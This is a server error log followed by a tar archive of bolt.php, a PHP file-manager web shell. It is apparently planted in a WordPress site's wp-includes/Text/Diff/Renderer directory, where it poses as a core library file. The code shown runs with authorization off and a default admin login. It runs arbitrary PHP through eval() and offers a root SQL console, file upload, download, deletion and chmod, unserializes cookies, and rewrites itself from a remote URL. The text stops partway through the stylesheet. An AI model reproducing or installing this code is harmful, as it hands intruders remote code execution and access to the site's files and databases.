[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
